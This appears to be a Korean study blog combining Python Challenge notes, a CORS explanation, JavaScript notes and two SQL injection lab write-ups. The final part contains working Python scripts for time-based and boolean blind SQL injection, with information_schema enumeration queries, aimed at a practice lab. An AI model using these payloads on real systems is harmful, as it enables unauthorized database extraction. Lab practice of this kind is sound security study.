파이썬 챌린지를 시작한다.

내 생각이지만 처음 문제를 접하면 진짜 어떻게 푸는지 감이 안온다. 기존 데이터가 쌓였다면 이것저것 두드리면서 값을 찾을 텐데 처음은 너무 어렵다. 조금 시간을 소모했다.

처음 들어가면 아래와 같은 사이트가 나올 것이다. URL address를 보라고 적혀 있으니 우선 가장 먼저 보이는 것은

0.html이다.

0 다음 1

1.html을 눌러보았다. 

2 ** 38 를 구하라 했다 **의 연산자는 거듭제곱을 뜻한다.

연산을 하게 되면 아래와 같이 274877906944 가 나오게 된다.

아래 처럼 링크를 만들면 Level 2로 넘어가게 된다.

http://www.pythonchallenge.com/pc/def/274877906944.html

 

파이썬 공부를 시작할려고 한다. 

기본적으로 파이썬은 해커들이 많이 사용 하는 툴로써 여러 자동화 프로그램을 사용하는데 사용된다.

필자도 이번 파이썬 코드로 자동화 코드를 작성할 때 많이 부족함을 알게되어 아래 사이트에서 다시 공부를 시작할려고 한다.

다만 해당 사이트는 이미지 안에 flag 가 있어서 이미지 쪽도 많이 알아야할 필요성이있다.

링크

http://www.pythonchallenge.com/index.php

HTTP OPTIONS 메소드를 쓰는 이유를 알기 위해서는 CORS란 개념을 우선 숙지해야한다.

 

CORS란

웹 브라우저가 외부 도메인의 서버와 통신하기 위해 HTTP 헤더 기반 메커니즘을 사용한 것을 CORS라 한다.

그렇다면 왜 안전하게 1개의 도메인이 아닌 다른 도메인에서 데이터를 가져오는 것일까? 그것은 웹 기술의 발전에 따라 다른 서버로 요청을 보내거나 페이지내 자원을 분리해야할 필요성이 생겨나서 이를 다른 도메인에서 가져와 쓰는 것이다.

그렇기 때문에 어떠한 요청을 할것인지 미리 보내 승인을 받으면 데이터를 가져오는 것이다.

데이터를 가져오기 위해서 Access-Control-Allow-Origin 헤더 속성을 이용하여 접속 가능 여부를 확인한다.

이때 사용되는 요청이 Preflight Request이다.

 

 Preflight Request

권한 및 해당 도메인에 대한 안전을 확인하기 위한 사전요청이라 보면 편할 것이다. 클라이언트가 요청하는 URL이 외부 도메인일 경우 웹브라우저 자체적으로 실행되는데 OPTIONS 메서드로 사전 요청을 보내고 무슨 요청을 사용할 수 있는지 권한이 출력된다. 아래 사진은 요청에 대한 어떤 권한을 줄 수 있는지 나오게 된다. 보게 되면 GET, POST, PUT ,PATCH, DELETE, OPTIONS 가 가능하다는 것을 볼 수 있다.

 

아래는 위 요청을 통해 GET을 해당 도메인에 요청을 보낸 것이다.

간략하게 적었지만 결국 해당 도메인에서 다른 도메인의 데이터를 가져와 사용한다는 것이 주 핵심이고 Access-Control-Allow-Origin를 통해 데이터 송신을 한다는 것을 알면 된다.

GET URL에 데이터를 실어 다음 URL에 전달
POST 보이지않지만 URL 이동시 데이터를 가지고 보낸다 (안전)
PUT 리소스의 모든 데이터를 업데이트한다.
PATCH 리소의 일부 데이터를 업데이트한다.
DELETE 데이터를 삭제
OPTIONS
다른 도메인에 어떠한 요청을 할 수 있는지 확인 하는 것

 

혼자 공부하는 자바스크립트 책 반납기간이 하루남아서 하루동안 내가 알고 있는 지식 외에 모든 자료를 정리해 보려고한다.

 

키워드

자바스크립트 초기에 만들어 놓은 키워드 ex) case, break, true, typeof, etc...

식별자

코드를 작성할 때 변수명이나 함수명에 사용되는 단어 (함수명에 사용된다는 것은 해당 함수를 적으면 해당함수에 해당 하는 코드를 가져온다는 의미이기도함)

규칙

(1) 키워드 사용 x

(2) 숫자로 시작 x

(3) 특수 문자는 _, & 만 허용

(4) 공백 포함 x

구분 단독 사용 다른 식별자와 사용
식별자 뒤 괄호 X 변수 속성
식별자 뒤 괄호 O 함수 메소드

const  상수 저장 키워드

let       변수 저장 키워드

 

증감 연산자

변수 ++ 함수 실행 후 1을 더한다

++ 변수 함수 실행 전 1을 더한다

 

문자열 입력 함수

prompt(입력창 내용, 입력 기본값)

 

boolean 입력 함수

confirm('수락하시겠습니까?')  ← 확인 취소 창이 뜸

 

문자열 < > 숫자 자료형 변환방법

number()

String()

 

불 자료형의 경우 변환시 boolean 혹은 !! 붙이면 변환

0, NaN, ... , 빈 문자열, null, undefiend 이 5가진느 false 로 변환 나머지는 다 True

 

조건문

if else 문

switch 문

 

조건부 연산자

불 표현식 ? 참일때 결과 : 거짓일때 결과

const result = (number >=0) ? '0 이상 숫자'  : '0 이하 숫자'

 

짧은 조건문

false || console.log('hi')

false일 경우에만 hi가 출력됨 

&& 을 사용할 시

true일 경우에만 hi 출력

 

 컴퓨터는 비교보다는 숫자를 사용하는 형태로 프로그램으로 짜는게 더 좋다.

 

배열

length 배열 안에 요소 갯수를 알려준다.

push 요소를 추가해준다.

배열이 10개까지만 있어도 fruit[20] 하면 20 번째에 값이 들어가고 값이 없는 곳은 empty로 출력

splice 요소 제거

배열.splice(인덱스, 제거할 요소 갯수)

indexOf 를 통해 몇번째에 검색할 값이 있는지 확인 후 인덱스를 보내고 그것을 splice에 집어넣어 잘나내기를 한다.

배열. splice(인덱스, 0 , 요소) 이를 사용하면 요소를 지정한 인덱스 위치에 추가한다.

 

현재에는 비파과 처리를 주로 사용함 그전에는 메모리 문제 때문에 파괴 처리를 하였지만, 현재 메모리는 여유로운 상태

for ( i in 배열) ← 배열의 요소 갯수만큼 반복 i 숫자

for( i of 배열) ← i의 입력이 배열값이 들어간다.

for(let i = 0; i < 반복횟수 i++)

continue 를 쓰면 다음 반복문으로 넘어간다. continue 아래 문구 패스

 

 매개변수

나머지 매개변수

만약 내가 만든 함수의 입력값에 배열을 직접 넣어야하는 상황이 생긴다면 매번 대괄호를 넣기 힘들기 때문에

...매개변수 즉 점 3개를 앞에 써주면 1, 2, 3 을 넣어줘도 [1,2,3] 이라는 배열로 인식하게 된다.

 

콜백 함수 ← 다른 함수를 매개변수로 가져올 수 있다.

 

익명 함수  ← 안전을 위해 익명 함수 사용하는 것이 더 안전

익명 함수를 사용 하면 우리가 글을 읽는 순에 맨 마지막 함수가 호출 함수로 지정

선언적 함수

선언적 함수도 쓰여서 콜할 수 있지만 호출되는 함수가 다를 수 있기 때문에 유의

 

객체는 배열과 비슷한 형태

typeof([]) 하면 object를 반환

배열은 인덱스와 요소가 있다면 객체는 키와 속성이 존재한다.

아래와 같은 객체가 존재한다면 과일,유형, 원산지는 Key이고 사과,열대과일 등은 속성이 되는 것이다.

다른 글에도 객체에 대해 설명했는데 학교라는 큰 틀에 교실이 있고 그 안에 교실의 key인 학생 인원이 있고 속성은 실제 학생수를 지칭하는 것을 예로 들 수 있겠다. 

const product = {
	과일: '사과, 바나나, 멜론',
        유형: '열대과일',
        원산지: '필리핀, 베트남'
        }

procut['과일']  시 사과,바나나,멜론 출력 이와 같은 출력 문구로는 product.과일 도 동일 출력

공백등이 존재할 때는 쿼터(") 를 사용하여 문자열로 지칭해줘야한다.

메소드(method) 는 속성이 일반값이 아니라 값을 입력받아야하는 경우 이러한 함수 자료형을 메소드라 부름

this 를 사용하면 자신의 속성에 접근 가능하다.

 

동적으로 객체 속성  추가 및 제거

const student = {}

student.이름 = '하윤성'

delete student.이름

하면 student에는 이름 : '하윤성' 이 들어갔다가 삭제되어 {}로 나오게 된다.

 

기본 자료형은 객체를 제외한 형태로써 숫자, 문자열, 불이 기본 자료형이다.

그래서 속성을 지정해줘도 undefiend가 나오게 된다. 그렇다면 어떻게 해야할까 그 해답은 객체를 선언하는 것이다.

const 객체 = new 객체 자료형 이름()

기본 자료형의 경우 메소드들이 나오는데 이 경우 일시적으로 객체로 상승시켜주는 것으로 호출 후에는 기본 자료형으로 돌아온다.

 

JSON(Javascript Object Notation) 자바스크르빝의 객체처럼 자료를 표현하는 방식

얕은 복사 : 특정 배열을 복사한 후 push를 하면 두 배열 모두 push한 값을 갖는다. 

깊은 복사 : 특정 배열을 복사 할 때 ...배열로 복사를 하면 push한 값은 한 쪽 배열에만 들어간다. - 두 객체를 완전하게 독립적으로 사용

 

객체 지향 패러다임 : 객체를 우선적으로 생각하여 프로그램을 만든다는 방법론

추상화 : 프로그램에서 필요한 요소만을 사용해서 개체를 표현하는 것을 의미

클래스 : 객체를 안전하고 효율적으로 만들 수 있게 해주는 문법

인스턴스 : 클래스를 기반으로 생성한 객체

생성자 : 클래스를 기반으로 인스턴스를 생성할 때 처음 호출되는 메소드이다.

 

 

 

 

이번 문제의 경우 prepared statement 처리된 경우 어떻게 우회를 해야하는지를 파악해야하는 문제이다.

현재 get 방식으로 입력받는 값은 search 값과, sort, ord 를 입력으로 받는다.

search 값의 경우 말 그대로 검색하는 값이고 sort 어떠한 열로 정렬할 것이다. ord 는 오림차순인지 내림차순인지 구하는 것이다.

prepared statement를 간략하게 설명하면 prepared statement를 사용하기 전에는 sql 문에서는 모든 값이 입력받았을 경우 해당 sql 문을 기계어로 변환하여 컴퓨터에 전달하는데 만약 prepared statement 처리를 하였을 경우 입력받는 값을 제외한 부분외에는 기계어로 변환 후 입력받는 곳만 구멍을 뚫어 놓는 것이다. 이 경우 sql injection을 하는 것은 거의 불가능 하다.

하지만 이 경우에도 헛점은 존재하는데 바로 table name, order by와 같은 곳이다. prepared statement 가 적용될 수 있는 부분은 변수에만 가능하고 식별자의 경우는 처리가 불가능하기 때문이다.

왜 이런건지에 대해서는 추후 찾아서 정리하도록 하겠다.

 

그렇기 때문에 order by 부분에 우선 적으로 sql injection을 하였는데 ord의 경우는 안되고 sort 에는 가능했다.

이를 확인하기 위해서 아래와 같은 case 문을 넣었다. when 다음 문자가 참이면 rate로 정렬 아닐 경우 level로 정렬한다는 것이다.

sort= CASE WHEN 1=2 THEN rate ELSE level END&ord=asc

sql injection이 가능한 부분을 찾았으니 다음으로 해야하는 것은 어떻게 정렬되는지를 판별하여 참 거짓 문제를 계속 던져 데이터를 찾는 것이다.

난 아래와 같이 payload를 작성하였고, time 라이브러리를 사용한 이유는 sort에 if 문을 집어넣어 만약 맞다면 1초 지연시키고 틀리다면 지연시키지 않음을 이용해 응답 지연을 통한 참 거짓을 판별하였다.

사실 정렬 자료를 비교하여 할려고 했지만, 지정해 주는 것이 번거롭고 가장 쉬운 것이 서버와의 응답차를 이용하는 거라 생각하여 아래처럼 작성하였다.

import requests
import time
url='http://normaltic.com:7777/sqli_4/search.php'
cookies={'PHPSESSID':'uepv7p3c6a6o0i3nl02a3e2p3h'}

pw_str=''
for position in range(1,100):
    for find_pw in range(33,127):
        pay = "select flag from flag_table limit 0,1"
        payload = "if(ascii(substring(("+pay+"),{},1)) ={},sleep(1),1)".format(position,find_pw)

        parameter = {'search' :'ma', 'sort' : payload, 'ord': 'asc'}
        start = time.time()
        res = requests.get( url, params=parameter, cookies=cookies)
        end = time.time() - start
        if (end >1):
            pw_str += chr(find_pw)
            print("flag=", pw_str)
            break

    if(end < 1):
        break
    print("next")
print("Found all flag=", pw_str)




 

이번 문제의 겨우 ID: mario, PW: mariosuper 라는 계정이 주어졌다. 이 경우는 무조건 참이 되어 로그인이 승인이 되기 때문에 ID에 추가로 데이터를 검증하도록하여 db의 내용을 검출해 낼 수 있다.

mario' and '1'='1 은 참이기 때문에 로그인이 승인되는 것처럼 mario ' and substring(database(),1,1)=a 이런식으로 여러번 요청을 보내 데이터베이스의 이름을 알아 낼 수 있는 것이다.

이번 문제도 다른문제들과 같이 아래와 같은 순서로 찾아갈 것이다.

db 이름

table 이름

column 이름

 

이번의 경우 한글자씩 비교하면서 데이터를 가져와야하기 때문에 substring를 이용해 한글자씩 가져오고 ascii를 통해 숫자로 쉽게 데이터를 비교하도록 하면된다.

1. db 이름 알아내기

import requests

url='http://normaltic.com:7777/sqli_3/login.php'
cookies={'PHPSESSID':'uepv7p3c6a6o0i3nl02a3e2p3h'}

pw_str=''
for position in range(1,9):
    for find_pw in range(33,127):
        payload = "mario'and (ascii(substring((select database()),{},1)) ={}) and '1'='1".format(position,find_pw)

        parameter = {'UserId': payload, 'Password': 'mariosuper', 'Submit' : 'Login'}

        res = requests.post( url, data=parameter, cookies=cookies)
        if ("jumbotron" in res.text):
            pw_str += chr(find_pw)
            print("pw=", pw_str)
            break

    if("jumbotron" not in res.text):
        break
    print("next")
print("Found all pw=", pw_str)




2. table 이름 알아내기

payload 부분에 코드만 변경하면 된다.

다음부터는 반복이다.

 

 

database 이름 찾기
select database()

찾은 데이터베이스명 sqli_3
---------------------------------------------------------------------------------
table 이름 찾기
select table_name from information_schema.tables where table_schema='sqli_2' limit 0,1

찾은 테이블명 flag_table
---------------------------------------------------------------------------------
column 이름 찾기
select column_name from information_schema.columns where table_name='flag_table' limit 0,1
찾은 column명 flag
---------------------------------------------------------------------------------
flag 찾기

select flag from flag_table limit 0,1

 

 

코드를 작성했는데 너무 302 ok 라는 부분만 집중하였던 것 같다.

그리고 라이브러리의 특성에 대해서도 알아야할 필요성이 있다 

내가 사용한 Request 라는 라이브러리는 status code 라는 옵션이 존재하는데 로그인 페이지에서 이것을 이용할 경우 로그인 성공시 다른 페이지로 이동하게 된다. 내가 원하는건 로그인 페이지에서의 응답인데 이 라이브러리는  알아서 리다이렉트 된 다른 페이지의 응답을 가져와서 계속 200이 뜨게 된다.

그렇기 때문에 아무리 수정을 해도 계속 200이 떠버리는 것이다. 이를 해결하기 위해 text 옵션을 줘서 로그인 페이지의 응답 내용을 하나 detect하여 로그인 승인을 판별하였다.

 

+ Recent posts